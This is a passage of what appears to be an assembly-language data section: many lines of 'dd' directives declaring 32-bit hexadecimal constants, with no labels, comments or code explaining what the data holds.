965E128Dh, 0D3BC7CDh, 0C7180F4Bh, 4047C3F0h dd 0C861861Fh, 91922B41h, 30BC6025h, 5A92BF35h, 0C5334709h dd 0AE69276Ch, 0A0CABFC1h, 0F92B129Bh, 8711FE96h, 227D2919h dd 0CE2236h, 4408712Bh, 0BA0028A7h, 0DE136A0Bh, 323281E1h dd 42F0576Dh, 77A293ABh, 30B89D76h, 214A2AE2h, 11B3FEF1h dd 0E292439Dh, 5B55A474h, 1D4882DAh, 9463081h, 0C4F3693Ah dd 5FFEDC98h, 0B35429E9h, 0CCB6F2BEh, 57DAE576h, 0E7DB99F0h dd 9346C6E7h, 0AE1E82B7h, 0CFD5FAF4h, 0C4F3EE6Ch, 469A6FBAh dd 0FBE72A7Dh, 894EF770h, 0D8FC6885h, 0B7C4C33Eh, 42EB4277h dd 929F1078h, 46316C8Dh, 0D4D31D6Fh, 7482F2D0h, 8085BDC5h dd 7DB0C32Ch, 8E67A578h, 0A8DC065h, 2E3CCF57h, 5A2EA097h dd 3BC2A82Ah, 1A31F37Bh, 0A89900E3h, 5DB638FBh, 5098670Bh dd 6581F498h, 92F0136Eh, 35007177h, 66077E8Ch, 1BED969h dd 50C40815h, 556E0CD9h, 62FC2223h, 0FDAB4D6Ah, 698999CAh dd 0E9467530h, 906E87Dh, 82795D7Fh, 524459A5h, 56DADCB2h dd 941B3BD3h, 0CF0EA2F5h, 1628A3FCh, 35DFCADFh, 0AA88040Eh dd 491AE14Ch, 16394C6Fh, 0E5635DAEh, 0EFD4EC7Bh, 53AE005Bh dd 87276D46h, 0E6DD4F01h, 0F6B0A72Dh, 0ADB1976Bh, 5F149946h dd 0F856546Ch, 0CA718E32h, 58DF7DAAh, 749B854Ah, 0BBABB47Eh dd 14591F6Bh, 0DE082725h, 868B9B5Bh, 940991DEh, 0F39D4EB2h dd 5D108D4Bh, 9D622589h, 0A05BAA8Ah, 0EFFC8CA0h, 0C26B3F03h dd 8CDD089Bh, 0C544B8EBh, 0F050653Ch, 3CAD7A00h, 0A16A9FF5h dd 0E9D5F0D1h, 2D28C60Bh, 0AF9094B8h, 0E31B457Eh, 402FC37Ah dd 82603059h, 0CBACF977h, 78061FD1h, 1A4AF603h, 0E78C8C29h dd 0E8DCA882h, 79A675DFh, 0C5195978h, 0B3AA657Ah, 0EC9C228Bh dd 556F56D2h, 3978F6F3h, 47E5F144h, 29B1C910h, 0B4AD99B0h dd 40307D01h, 87302C5Fh, 57D3385Bh, 0CBD61761h, 958805h dd 0C807E970h, 3E6E82AAh dd 0FE43B5EEh, 0C6A562B0h, 0C2A9F541h, 6ED239E8h, 24F0EDF6h dd 66B19D08h, 85359286h, 0D79432B3h, 7712DADh, 0F51001EFh dd 0EB7D5901h, 0DCBEBD1Ch, 681BA9B9h, 61DCFD23h, 0ED2669FCh dd 0ED942A6Bh, 7856D1EBh, 0FFA035E8h, 75BF1A2Dh, 0BCC833AFh dd 60F555D7h, 838BF5C6h, 0B79426FFh, 0E3FC923h, 278C8085h dd 0B1EF912Dh, 7B0BD17Eh, 7DCD81D3h, 0CE7DDFBEh, 770006A9h dd 0EFBA11AAh, 6B405AA5h, 99083CE0h, 6F3C30F3h, 7103805Fh dd 0A8EEA0F3h, 7CECB7B0h, 89C6D9F7h, 0BA4C47D9h, 0A5979B15h dd 1B9466B3h, 6B34B59Bh, 70AA049Dh, 8F9AD7A1h, 0C9CC1607h dd 0E4EF868Bh, 4C04E9F6h, 0C1E3B4F0h, 68F4A289h, 0CE31BEB2h dd 0D8D3EFE0h, 58B30692h, 0B74CFD9Fh, 51326BADh, 9E9C9C73h dd 9562AC03h, 0B7FF57B7h, 0E39DB5E0h, 6265EF43h, 94585E03h dd 0B5DA4B06h, 2C001D90h, 7C9F7F6Bh, 0C08BEB5Ch, 0F782B8F2h dd 524E99Dh, 493F6D9Ah, 8DF4DE34h, 1F21F4FEh, 0E99FF0DFh dd 8EDF100Fh, 281AACCBh, 0D382B2Fh, 1BD064F9h, 6FE9098Eh dd 518736C0h, 875C30C7h, 77D4AC55h, 0C4EE20C5h, 5C0A0AA7h dd 1B275548h, 46D0C10Ah, 78150C2Bh, 13B26E7Ah, 812BE04Ah dd 0EA5EFD90h, 0FF602CAh, 67230C48h, 8BCA55Dh, 5E8A00D8h dd 0CFDC7C87h, 2B781868h, 22C50F42h, 0BCC85022h, 17E42673h dd 53DD10D3h, 9AC0CCFBh, 8C863AE6h, 585C8AABh, 1B0C9320h dd 0FC064B91h, 0BF7729Eh, 0A355E66Fh, 0C5928B54h, 898BE8BBh dd 0F6C9EF11h, 986ECAF2h, 4D639732h, 0FAD9EEF7h, 5929F627h dd 0F7123Ah, 0EE4F5969h, 0B88F1511h, 38E743C0h, 0F144BB49h dd 0A5BECBFFh, 0FE20BD5Bh, 559B577Fh, 0AAEC989h, 0AE905003h dd 80A36E9Eh, 0A78FCCE2h, 0A7482985h, 768F7D90h, 0AEB6260h dd 5542B037h, 87140411h, 7ED419FCh, 571C6E00h, 167C909h dd 0CDC7A084h, 4CFE2845h, 0AF693639h, 0A42C6D07h, 0EC434174h dd 3F4F93C5h, 2EA10BE7h, 0AE54DD5h, 4AB29036h, 0B335379Fh dd 0D30209F8h, 8B269479h, 729C85F9h, 0E7339EE8h, 9DBB88BDh dd 79382C12h, 56A4C2DEh, 6F7A68C6h, 625F9E9Eh, 8027A642h dd 5A61A7C0h, 93A6FA3Eh, 814FFE16h, 0CFE654D1h, 0AC0455D4h dd 0FD4840F3h, 606417BEh, 0BD659E24h, 0EE4DCF3h, 0F5512AE9h dd 0D52AA871h, 0D8662C33h, 79ABDF9Ch, 0B334734Ah, 0DDCA521Eh dd 133EDA88h, 1DDFA0FFh, 70B447BEh, 3250F31Bh, 89F8D4A9h dd 0E5FF3891h, 0EE977F4Dh, 68C68FBEh, 2A1E8F93h, 13C50D5Bh dd 0A07E6D3Ch, 8FA4F6CBh, 98FE3508h, 0D1A40805h, 0AE2AD4B8h dd 394B16E2h, 5A3D5A6Dh, 7FAE5BE6h, 10816A8Fh, 4825A351h dd 924E9701h, 416C8580h, 818424EFh, 0BC62FD35h, 8B210F89h dd 2A5207F4h, 6DAACF49h, 220A246Bh, 0CDD45EB7h, 8DBD8252h dd 5F2AEF58h, 83DE0102h, 3BF0523Eh, 0AAEB6A54h, 374EEB66h dd 2B0A67C8h, 8DF19CC3h, 4B0A3BEBh, 0ABF30F09h, 885BFC3Ah dd 9A860D1Eh, 0DE16613Eh, 976C6108h, 42823C41h, 0DCFEFAFDh dd 8E914FCBh, 17F21C18h, 4774C2FEh, 0F798ED2Fh, 0FF10CEE3h dd 0EF24A4E3h, 383F18ACh, 0B64A0FC1h, 6828A4BAh, 455EAF55h dd 1DB03AC2h, 34E2903Fh, 0D01CB691h, 1DA99EBAh, 32D16860h dd 0E0747EB3h, 84D8062Ah, 0F59C132Eh, 0EC1C8C97h, 8F93AC76h dd 8F31E494h, 0B477FB52h, 4A0D803h, 0B54774DFh, 0E2CA5B7Bh dd 6082D120h, 0B999FD3Eh, 0B0A241B2h, 0FB857698h, 951B1615h dd 0AFC45054h, 2FDA8230h, 345F46A2h, 1FE0772Ah, 305C58A1h dd 0CB5CD0E3h, 7E9CD800h, 50B15D87h, 0AC493D26h, 0C3ED4E92h dd 9B46F6B7h, 20769F7Eh, 9125F6EBh, 0DEA964D2h, 987EF38Ah dd 4E75235Bh, 31D13110h, 0BA77BCFEh, 9086FA37h, 7321176Dh dd 6E1B71ABh, 9EC94B68h, 0C94DBD75h, 4D21AB2Ch, 797173EEh dd 51DD1199h, 0AF48E0CBh, 395E6811h, 3E4B65F1h, 637AD493h dd 0DE6AFD1h, 0D8E2DE29h, 55196DDAh, 37E505DEh, 23309091h dd 0FC72C674h, 795BBD5Ch, 4125A5E6h, 0E3623D4Bh, 7BF00FCDh dd 46D093F1h, 666DB565h, 9094941Eh, 97B6BEE7h, 8FF0A7E9h dd 49D62FD1h, 586DCD93h, 9AE77C48h, 0CE4EDEB2h, 0CFD850B5h dd 3F758E16h, 5A9D62BFh, 1DE6B12h, 0EFBA2177h, 0B523BE54h dd 0BBB13C42h, 0BAE5C798h, 0DEE7A6C2h, 0C422CC72h, 29B21CB6h dd 26A50845h, 79968FFEh, 368BE680h, 0A3EA598Ch, 0A1AF9E9Fh dd 0E7BFD17Fh, 79C24F9Bh, 1A8A7677h, 0D9D048Fh, 9817EB7Fh dd 0F450D5Dh, 0B1F5CBA9h, 2568FA16h, 0B5872C49h, 178FA6F0h dd 0A6EDA8C8h, 86DA8937h, 0B68D3E96h, 0D60C0570h, 0C1778E4Ch dd 0C2496018h, 323B82D8h, 5202A351h, 98551C0Ch, 7719B782h dd 54238B49h, 71798E94h, 0D95DDE0Ah, 0EB45A7D4h, 0E6F797ECh dd 1CAF8714h, 0B6B2F522h, 29BA752Ch, 0DFF6296Dh, 0CFFF3432h dd 28BDDAF0h, 0FF059E9Ch, 26082DC5h, 5E98B2F9h, 2A728CC3h dd 0F8A27C51h, 84E5BF99h, 0F2B8AAB6h, 0D35E11D5h, 0E885E022h dd 50A1E472h, 0AC29100Ch, 5EB518Ah, 378A8BEBh, 0D108893Dh dd 0FB7A753Dh, 1795D694h, 0A55A28A7h, 0B0DFE3E7h, 32A75BABh dd 0A7F2C0D0h, 0FEEC6DE0h, 110C10F8h, 88DD8CF0h, 32176EC3h dd 0E69EC889h, 0AB02F31Dh, 7810D2F3h, 0F4B6AB78h, 7A4A8E6Dh dd 0FD5A86B2h, 237BA47Ah, 2297367Fh, 5E7450FBh, 154496ADh dd 14ACD5A6h, 52B7457h, 0C70814CCh, 5B35285h, 8ADE2724h dd 248B186Ah, 0F58539Ah, 13A63202h, 0D27AA26Ch, 42E0E8D5h dd 187CD390h, 74778D69h, 7DB81858h, 0E22EB02Ch, 0EC745DFDh dd 0DBC3C34Fh, 59856E7Eh, 0F56601CAh, 0B562D51Fh, 0E20A00DDh dd 2867CE1Fh, 0D564FB33h, 2513552Fh, 305FC32Eh, 0EEAA5433h dd 8C4BD120h, 138FCF07h, 1A641906h, 3FE28AB2h, 7AB38C9Ah dd 0E256E616h, 373E64B9h, 0F2E62Bh, 66D50501h, 659C9A05h dd 6A400F83h, 53718173h, 0A3D45835h, 0D97CAAF8h, 5799D41Eh dd 77CF2C6Ch, 2141A786h, 614FB0CAh, 9A7D9FC4h, 0B7DBB0A5h dd 0B376B9BBh, 7E435728h, 50BB5DCFh, 9C1B7721h, 0BA317441h dd 3EBBAD14h, 0F75A4CBCh, 0DE686A95h, 0C2EB27B3h, 0DD4B7CCBh dd 0C9EBA110h, 6BA0B330h, 0C8AE51A2h, 0D3FC7525h, 7E0B65B7h dd 99AA4612h, 1866A5AEh, 0CA103C73h, 1B292421h, 0AE03A9FFh dd 57D82159h, 51E13F10h, 0F26023CDh, 8D942E8Eh, 4426CE98h dd 0D06A0D0h, 7B0DD2EEh, 0FC929D99h, 502BD041h, 0B3872E51h dd 0DBD9DC6Bh, 9AE169Ah, 0A0FA4397h, 0B65E28A7h, 79C86C1Ah dd 0BE4ADC2Ah, 6A687D8Dh, 954A9930h, 60AA6F0Fh, 0E6CA669Fh dd 0EE70EBB8h, 0E4CF7279h, 423BE14h, 5ADFE175h, 14B54356h dd 1BE83B52h, 758391Ch, 204C1F0Bh, 8828D2D7h, 0CCA70C31h dd 9B714DC0h, 0B13A1B73h, 6B6F63E1h, 299066CAh, 0B13A752Eh dd 160FE256h, 8BD1FC11h, 7B53E334h, 0AD568601h, 0DB7FA0E1h dd 8F0BA0AAh, 4200FD54h, 80A35CFFh, 736483A6h, 62D6D060h dd 0A7DBD400h, 7BBD0A4Eh, 9CC6F9EBh, 67B6AC6Bh, 5C4B63F5h dd 0A5F38915h, 47C26852h, 0B43F2F33h, 91279405h, 0FD2C2C11h dd 8AADA87Eh, 0DF1C1227h, 92406B1h, 879CC76Ch, 0B89B68B6h dd 0BB387DEBh, 0F0DEB0DBh, 0E1456F75h, 0E28BBE32h, 14876DFFh dd 5EC84FDAh, 24A2990Ch, 9A16A062h, 37FDB0ADh, 0E7F10D4Dh dd 0E4B3AFA1h, 17A255Eh, 4F797F07h, 12863A89h, 0AD8B4CC6h dd 977753BBh, 7A15C7A4h dd 8B2894EBh, 18741CC7h, 152FE573h, 0E272D07Bh, 60965CC8h dd 6E190792h, 1408346Ch, 0B8CDB916h, 0E47FE62h, 655287C4h dd 0C6E23FAh, 0B39E3E36h, 9AB2B40Eh, 0FB84235h, 8B67427Ah dd 1365E59Eh, 577FAA46h, 0CECE87E4h, 62AED9BEh, 9B325BC9h dd 0B2E4D794h, 34DF3ABh, 4E8C74AFh, 0F518C69Ch, 9B57122Fh dd 0ECABD78Bh, 0FC7F8F0Fh, 8D50D41h, 8B5FCF25h, 1FEFF151h dd 0C32A2CAFh, 34531856h, 0C081967h, 94B2BC19h, 560CE0Ah dd 2D8E5B2Dh, 0E4682ABBh, 0B8138DCEh, 81190522h, 0B0736E46h dd 514DCDE4h, 5858AE21h, 827D6805h, 0DEEFCD83h, 0B7720AC8h dd 0FB2AC75Dh, 0F571671Fh, 7F9B5CB8h, 977FF542h, 602A0D19h dd 149E1155h, 7F487CA1h, 0C1B8BD50h, 34ACCF4Bh, 0E9E2B2BDh dd 6DBA8EC0h, 1C65E1EEh, 0A6EAB3DBh, 0ACE486Fh, 0A38C9309h dd 5AEFD5D1h, 0CB5F5BB4h, 0CD7B2433h, 0CA81AB9Ah, 0CB71184Eh dd 8073EE8Fh, 0A91765EDh, 0EDD526CDh, 0B1867E97h, 98FA3F1Eh dd 0F1ACB405h, 92E89350h, 0F1AA56CBh, 0B095067Bh, 4B466768h dd 166AB079h, 379A9811h, 1C13F11Ch, 17C422Bh, 0FA820E87h dd 0C5CCACD7h, 2ED19EF2h, 3A6F1CDEh, 476F2071h, 87A8ECA9h dd 91C2E082h, 4149A78Dh, 97A89899h, 41B93DF6h, 9CA5D475h dd 96621B81h, 790F739Dh, 87D23BD3h, 63BFC377h, 0F1730E51h dd 35172F24h, 682A78FAh, 4258A4E7h, 0EA8EE1EDh, 19825CD0h dd 8B139B5Ch, 69CA94A7h, 0E68B6F8Fh, 47556D6Fh, 2B6EDAEAh dd 0E6E82DB4h, 0E6508627h, 0BAAEB646h, 0B40D9481h, 75A6DFD1h dd 0E5CBB6DFh, 8A304873h, 81FE04ABh, 0E33FC8DFh, 350C02CDh dd 2591F20Ah, 0C238721Ch, 0D0E7DB9Fh, 947EF95h, 43291FB0h dd 42C65FFh, 6CA5F3DBh, 0F7468305h, 5D8A494Eh, 69258697h dd 9A25B5Ch, 0E417611Dh, 2DE3572h, 49DC3046h, 0CD83702Fh dd 5D7E675h, 64159C2Ah, 0B75412B6h, 5E54348h, 0D01D38FCh dd 0EE8F4E0Bh, 7FC7F546h, 0AC02BED8h, 71B540CEh, 50D8C94h dd 0E7E024CBh, 0C901ED6h, 2ADEAB5h, 0B0492DC8h, 209AD017h dd 0F06DBB72h, 638ADBBBh, 7F7BF1F9h, 0C74A149Ah, 0CF187AFCh dd 953644A4h, 7C4B659Bh, 0DDA95B08h, 0FC28DEC8h, 0D2DCFFFEh dd 70232B93h, 8A3E808Eh, 0B5175BF1h, 0C4E58DB3h, 22B9CBF6h dd 175B1A86h, 4A406054h, 9556981Fh, 0DCF6E30Bh, 0B9EAC3DAh dd 657454EBh, 0B0D9BFDh, 59EBFB85h, 20BC3803h, 55B10D6Ch dd 5C3DFE93h, 6584F0B3h, 69FF9A0Fh, 2DDB313h, 0B9BF12AAh dd 0AD0DCC87h, 83FD5947h, 5EB3B39Eh, 0EBA00C6Ch, 9212D01Ch dd 152D40ADh, 0F54E4B9Ch, 9C0D9131h, 0D78792C7h, 0DAFB2619h dd 88109E42h, 9308B01Bh, 49E2EA32h, 7F6DCE88h, 96D4CEBEh dd 0DC22E3E0h, 90108B9Eh, 500A1FC3h, 0CA5CA5D9h, 0C77B9BC8h dd 94137CD3h, 2525FCh, 7E15C989h, 131CE607h, 31D2A856h dd 83BF88E5h, 7BA1274h, 3C1D354Dh, 0C35DFAAFh, 119A7034h dd 0BFB5B34h, 5237C7CDh, 0F50C328Dh, 56871D2Ch, 99CE6C6Ch dd 0DB7EED9Eh, 4C35CEEFh, 0A21B7357h, 4857F431h, 8AD995E0h dd 4B5114C6h, 0C7EF5264h, 0BDA2B343h, 466ACCACh, 0E1B9C417h dd 0FC3146DEh, 540C7D2Ah, 3C9A3272h, 78DFA430h, 1E506181h dd 308B16D9h, 2C9AC98Fh, 3B285B51h, 0D4915B1Fh, 0C5D606CFh dd 16658334h, 0FD8ADFCEh, 9D5A82E2h, 0B2CDB899h, 0B9606D86h dd 85B3FAD6h, 2F98AF7Dh, 0C7744EB9h, 0B7A527F9h, 0F3803153h dd 332E3C30h, 0D66CA32Bh, 58F8D914h, 0A2DD7ED1h, 7CD09DFBh dd 8160687Ch, 0DE1B85EEh, 6282A25Ah, 2E734560h, 0ED26C2FAh dd 2ED66DF5h, 0BE4A28D9h, 8B2DB16Dh, 0BBF278CEh, 0B443BD42h dd 19218B65h, 5169C423h, 4C9DB126h, 3B38605Ch, 7D7E66ACh dd 35D50C56h, 50C9CFA2h, 0C2440142h, 0F197596Ah, 1B15DD99h dd 63174E35h, 77536FEBh, 0C6758F9Ch, 1C8229EDh, 35703DBDh dd 721EBEFCh, 0D2D6B947h, 5EBF9B84h, 4E9C56CFh, 6B4D1DEh dd 2ED127CDh, 92427704h, 0BB8ED4D6h, 0B0C7E0AEh, 85045661h dd 0E76A3EDAh, 4AD2E484h, 7746027Dh, 0AE197E2Fh, 783D6259h dd 21D3A4B2h, 0C54C96DBh, 0C316087Fh, 2165B246h, 81194F67h dd 1B5D0B2Ch, 8A55B236h, 43D194B6h, 0D47591CCh, 87643F59h dd 0E8284874h, 0E1DBDFAAh, 3A453488h, 0CF9EDAA8h, 3B083001h dd 0CCDB15C0h, 0CADDCCF0h, 76C331FCh, 490ED17Ch, 0F54EDF0Fh dd 3ECBCA02h, 0ECEE7F00h, 9263D41Fh, 4D1C6ADBh, 0B37278D2h dd 258D021Bh, 197D2F7Dh, 3D241973h, 7AC0FEE5h, 3A9A2B8Dh dd 8831E48h, 251D9F1Ch, 0B867E56Ch, 57F837F9h, 967BAE7Eh dd 0A1802DE0h, 5F88EAA7h, 0B59D84ACh, 343D1A5h, 7C75343Ch dd 0B03CA3DFh, 0C37F999Dh, 1056D3E7h, 16244812h, 0B28CE2FAh dd 5A9CB94h, 250776A7h, 93FBC07Dh, 0F33A6EF9h, 10B3206Dh dd 7CDB6D46h, 0F8C8F7BFh, 7FD56875h, 0AA8A1277h, 4D38B643h dd 0BDAFB1AFh, 24345F24h, 1EDC6854h, 0AE621723h, 686D50Ah dd 8C0DCC75h, 6B67E03Ch, 0A8F4872Dh, 0C8297373h, 0DB364C1Bh dd 0C6729E54h, 4B6E7557h, 0DA3DBC5Dh, 0DB93464Ch, 0B3B13C63h dd 5C6F5DAh, 0FAF97108h, 0CB5418C2h, 0B2901515h, 0D00BA667h dd 8F304BFAh, 0C65143F8h, 0F884F704h, 0A9BB11F9h, 21CF86F1h dd 269FFC92h, 2D06BCACh, 5A03326h, 2C7D4C13h, 0E0722B6Bh dd 0B83D4A4Bh, 2ED68906h, 3D54DF1Fh, 0F274CBF8h, 0BAC42EE8h dd 0A618AD3Dh, 0F9CE7CC2h, 1701424Fh, 0EBE771BDh, 0DAF49968h dd 84169612h, 3F7B96F9h, 3D04C2B0h, 12307E6Ch, 0AA5117EAh dd 0C104E94Dh, 0B487B7FCh, 188E6D5Ah, 6FAE58DDh, 0CDD4E69Bh dd 99538A1Eh, 0A034A860h, 3BBF31F2h, 63995336h, 0DB6FDF7Fh dd 50D5E9D7h, 80E445C0h, 35E7DBB6h, 7FE26857h, 5CD4C1F4h dd 0D39ED8D4h, 6F4F0C62h, 9AFD3F38h, 79D22BA5h, 2DE7AC1Dh dd 0B9B30630h, 6A857EF6h, 0AD251229h, 6E4493E5h, 40A4F660h dd 0E0BDDB91h, 20BF349h, 691832B4h, 0A814B533h, 0C2CC068Ah dd 0E6A2E49Eh, 52C6EB3Ah, 163B9A45h, 0C6325D27h, 21B7553h dd 0F960F57Ah, 0E33AA0B4h, 0F7721105h, 10B67A91h, 8F9ED9C9h dd 2503EEECh, 0A8BD78F1h, 40232937h, 1388B325h, 7B1FD2A1h dd 9CAAB8B5h, 75F3C7D7h, 927DC72Ah, 58761F00h, 0E3BA0796h dd 184EA183h, 0B80A8EF5h, 7A7FA5A5h, 77A87238h, 7CD72127h dd 1A2C79Dh, 0D16FFFD8h, 7299D95Ch, 64C73A16h, 0F8A0B9DEh dd 0D7B21406h, 0FB38B767h, 0A1526E7Ah, 208B33DAh, 232753C8h dd 5B368910h, 0CBDB0672h, 5CE9BCC6h, 5B969ABBh, 0D4E5720Fh dd 20EA8AFDh, 6823AAEh, 6D37DF5Fh, 76596E8Dh, 0A56ED9B1h dd 0F5FAE73Ah, 0D2140952h, 695158B6h, 0F0F58434h, 5E16A7DCh dd 0A1520A7Eh, 5258EDA5h, 47D7DEABh, 96BE1E06h, 0AC3A531Dh dd 0A9773918h, 3D47A268h, 0E5295C9Ah, 707FC957h, 6D162304h dd 0C9374B6Eh, 3D0249EBh, 8DD8F196h, 9555DDA4h, 27F5B457h dd 2FDDC621h, 39F38FFDh, 0B73D4028h, 47BD00AAh, 0CA3C419h dd 0C8AE11F3h, 0C8DFAA6Ah, 0BEAE7B89h, 280A99D6h, 0AA72CF4Bh dd 0AFCACD88h, 0DC110D80h, 0CDADAD0Ch, 495B0B0Dh, 70E3ED02h dd 8DC54B2Eh, 0BEAA522Eh, 0A8C7A40Ah, 628DD086h, 0E8BFE887h dd 0B53F963h, 0A360186Bh, 52FDDC64h, 0B1E39352h, 0ED36299Ch dd 0C233D3F6h, 6DB65894h, 0DE639275h, 0E44D05D2h, 126FE718h dd 0FDF6DCB3h, 82E0445Dh dd 0A42CCAEDh, 0F46F518h, 8883D409h, 0F8C06BFCh, 27170C29h dd 9B416CFAh, 0CF729C57h, 6DC5BD4Eh, 97E74642h, 598E4835h dd 0F9C1551Bh, 0C5A7D16Ch, 0AE218856h, 29804C3Ah, 50099B47h dd 0B7A2245h, 0F71698E0h, 31E61D8Eh, 0D621329Fh, 55644DFBh dd 2BCF0F9h, 2EE30A2Eh, 9D0D8832h, 24C59F3Ch, 2ACB9BD6h dd 9EA97962h, 0CD4840D2h, 3BB516FBh, 5B36B6BEh, 0E9E0C2ADh dd 0E5E97479h, 6CFBBAC3h, 0EED83062h, 5CD437D5h, 0D92B523Bh dd 57B74913h, 0D38A4C09h, 12A95AC9h, 0BBDAEC8Bh, 0E6861231h dd 0A35C8799h, 9ADE554Bh, 52B2350Eh, 0BA702ADAh, 0CACC26EEh dd 5AD0CB26h, 0F7B3F660h, 0F0C592D2h, 0E0ED4DE7h, 5A9F2101h dd 0BF4B2A80h, 7C890813h, 24585908h, 30482A76h, 0E3F6043Bh dd 0DB9AF7ECh, 8A8D964Fh, 0D7A70E1Fh, 0ED346259h, 5266A56Fh dd 0CCD4F2CCh, 0C04F54C0h, 0C61460B1h, 0FA3EF7B8h, 30E5650h dd 0C0622562h, 0DDF7480Bh, 9603277Ah, 0AC8271ACh, 0EC89F428h dd 568696C9h, 0A998A69h, 7D7E9F72h, 80BC9214h, 576704ABh dd 0BB06142Bh, 0EC3153FFh, 0A764A31Fh, 739D3794h, 0F3803460h dd 0BEC69DB0h, 5CB24C76h, 1B82DDE3h, 0B0282746h, 771BC179h dd 513C1FC8h, 0EF1809FDh, 0B7626715h, 671B076Ah, 0AEAF6887h dd 0C70460DAh, 8055BFADh, 414A119Bh, 8826C474h, 0B7878334h dd 47072311h, 0A7D77999h, 6171AA99h, 48D6D6D4h, 0F7392B64h dd 1F21EAh, 4E67703h, 0AECDF27Dh, 8E31825Bh, 0FCC86FC9h dd 706CE053h, 0B9B17CE1h, 8C1FE4AAh, 31780F86h, 0AD27EF57h dd 0F6A43E71h, 67897206h, 0E9EDA465h, 0B47AF4F6h, 0DD4C9AB6h dd 0C35F547h, 8B75363Ch, 0C88F85AEh, 7F0799Ah, 3F35EC1Ah dd 4197A3h, 0B3E10C5Ah, 51F6F9CCh, 290D2F3h, 51F94980h dd 34FDACA3h, 0BAC7F0AFh, 3A29726Ch, 5816C912h, 8B9C3BCEh dd 0F3B65329h, 31A90FABh, 9156A9BAh, 96C0BB59h, 0A04059D6h dd 5D2C9638h, 7BC5B15h, 0ABC419F5h, 0B8E2244Dh, 73A2DA87h dd 5D990552h, 0A479BD0Ah, 5CD2FC6Ch, 0FEF7199Dh, 49CEA359h dd 5206FC80h, 968C3E4Bh, 0EB2CD772h, 577F5688h, 0DECEFE5h dd 0E274564Ch, 0C55414E0h, 95192264h, 999C94C6h, 6A3AE429h dd 6DCE8327h, 85682445h, 5CF02EB6h, 0AA68482Eh, 0A122574Bh dd 22FF9212h, 1734FF5Ch, 0C83BC5CBh, 7692D438h, 0D5197E97h dd 0ECDFE5B3h, 4815C856h, 0E24D40D4h, 2A009803h, 0E2B9B7CBh dd 1867A1F4h, 0D0F621DBh, 8F30A098h, 0C89639EFh, 0DA2C7CCBh dd 0F9A694C5h, 0F9BC3EDDh, 4ECF6519h, 0DD9C4BB4h, 47A3B935h dd 563980E7h, 0EABD1112h, 0F3AD81DFh, 0A3FBE6B6h, 2C35BC23h dd 3E5FC05Dh, 88EB1B18h, 0FB976367h, 0FF4366DFh, 9D50CE75h dd 65634571h, 0CD9C410Bh, 859A7BE3h, 0B0FA024Dh, 0E0315582h dd 6BE62FC8h, 0DCF474E0h, 85607595h, 0BC4A9FAh, 90E9838Eh dd 0FA210D29h, 594828BCh, 5B09B8A3h, 83DB062Fh, 59699D43h dd 41BE6E32h, 903A4A11h, 0B3B7026h, 0FC745671h, 80E4C431h dd 0F54C0487h, 43765306h, 0D8F0E4E3h, 4F079DD9h, 2BF5CECDh dd 0DF1202C7h, 0D6FF18A7h, 0F6AFDDB7h, 6F7B1089h, 0C91ADFA4h dd 7F4B7FF1h, 44206FF3h, 55A66BC6h, 5FFE3875h, 2012448Eh dd 6344F0A8h, 198B16BAh, 49A6E7F5h, 71881BCBh, 4B7E6D94h dd 99BB8B1Ch, 0D73EA99Ch, 0A60712BDh, 656BE4CCh, 0B84128F8h dd 0FFA14E4Ah, 1A13D7C5h, 89C0DDDEh, 14EE3D6Fh, 0EC3E324h dd 0D27B84EAh, 8D8851h, 46BF5714h, 6B9273h, 0C27A4EA4h dd 0F81665C1h, 0B7D07346h, 50755C40h, 5D544130h, 3EF7AEEAh dd 6A5895A0h, 9D204C4Eh, 355C644Ch, 0CE68FC4Bh, 3DCCF7C9h dd 0C8124927h, 3093F87Dh, 0E40AB261h, 6DF619A7h, 2CAD91BCh dd 0E7D0FD6Eh, 751C8492h, 0F7FC0284h, 483C160Bh, 1E1835F7h dd 1A432C6Bh, 0FCBFC6BFh, 0B1F8193Bh, 0AF9A1171h, 0CD535CBh dd 39B6C317h, 0DD64C7C8h, 107EF278h, 0F020A17Fh, 56BFC181h dd 0F43CC815h, 0F61D1CADh, 0EF32694Bh, 8C670222h, 0EDDE3D0Dh dd 494D174h, 0E149A487h, 5588E4Bh, 0FAD2A58Ch, 0A0D69ACEh dd 3971A2BFh, 2463285Ah, 0CAA6E8DAh, 0D3E1A6EEh, 0E949A242h dd 0FEA350F0h, 0EFE946D7h, 1400BB24h, 0C86CB08Eh, 90803385h dd 13CEAED6h, 0BD21F410h, 36354484h, 223EF77Ch, 0E8E53B94h dd 863F2D27h, 86839D90h, 0C22DAFB7h, 0EF793EB1h, 0D277A427h dd 98ACDCA9h, 8B69477h, 58B88826h, 0EB9AD5E3h, 28E45932h dd 3C5D1D29h, 0E1F49861h, 85BA1206h, 26C3B5E9h, 0A5C010DCh dd 57FC158h, 47205B8Fh, 0D135CD06h, 0B24A95BAh, 354A2E2Dh dd 0FE27F22Ch, 8CEBE5B6h, 0BF51393Bh, 95A088B2h, 453508A5h dd 6B8FEA7Ah, 465A8921h, 15C20A61h, 99C78BD4h, 9D9AB872h dd 91B0D62Fh, 7255A819h, 0B48D0968h, 1E369CF9h, 9AD4ABF6h dd 634814A2h, 0A4D88B7Ch, 0C38264DBh, 0CC0A02B7h, 5345C976h dd 26E46837h, 0EA4A7F66h, 0E7292982h, 5511FA39h, 732B7996h dd 69CB7329h, 654C5B7Eh, 0C08CA54Bh, 13220A6Eh, 0E137D270h dd 0BB038600h, 9B238C96h, 7DE09B71h, 1EE9487Ch, 8E426636h dd 0D7FF08FBh, 0B3C16FE8h, 510A73B4h, 331F0503h, 28CC901Bh dd 0C4AF2531h, 65D612EEh, 0B3E456EEh, 4BD5E12Dh, 96CDDD9Ch dd 466C885Ah, 88A4CF92h, 21FFE98h, 29C2BEF3h, 0BCBB3228h dd 5F20D3ADh, 0AC99F885h, 27CC517Eh, 0D91CEEE3h, 0A711C88Dh dd 0D475FA8h, 6C3AA89h, 2DC18105h, 0B9A63192h, 2CD40BDBh dd 1BF7CEC3h, 0C115EEA4h, 7E4CC9B2h, 0A5E88D26h, 0BFD267F4h dd 0D534DD6Eh, 4E2E2FFAh, 0BA4D316Fh, 18EB4C3Bh, 8CF62BB3h dd 76EA2DC2h, 0A527ED45h, 3CD9F376h, 4CB3E78Bh, 366F063Fh dd 5096C724h, 0B9CB2679h, 0E572C5D0h, 0DB622E99h, 7063331h dd 0C992D9F8h, 0A3D1B7A1h, 4E378A1h, 0D088643h, 9EDAC20Bh dd 30133626h, 91B15A2Eh, 9F7CACCCh, 17780D20h, 446F6266h dd 54FC83A6h, 0AD05FDCh, 1E51C2D7h, 0B2CE94F4h, 3FCFA3EFh dd 7B64EF59h, 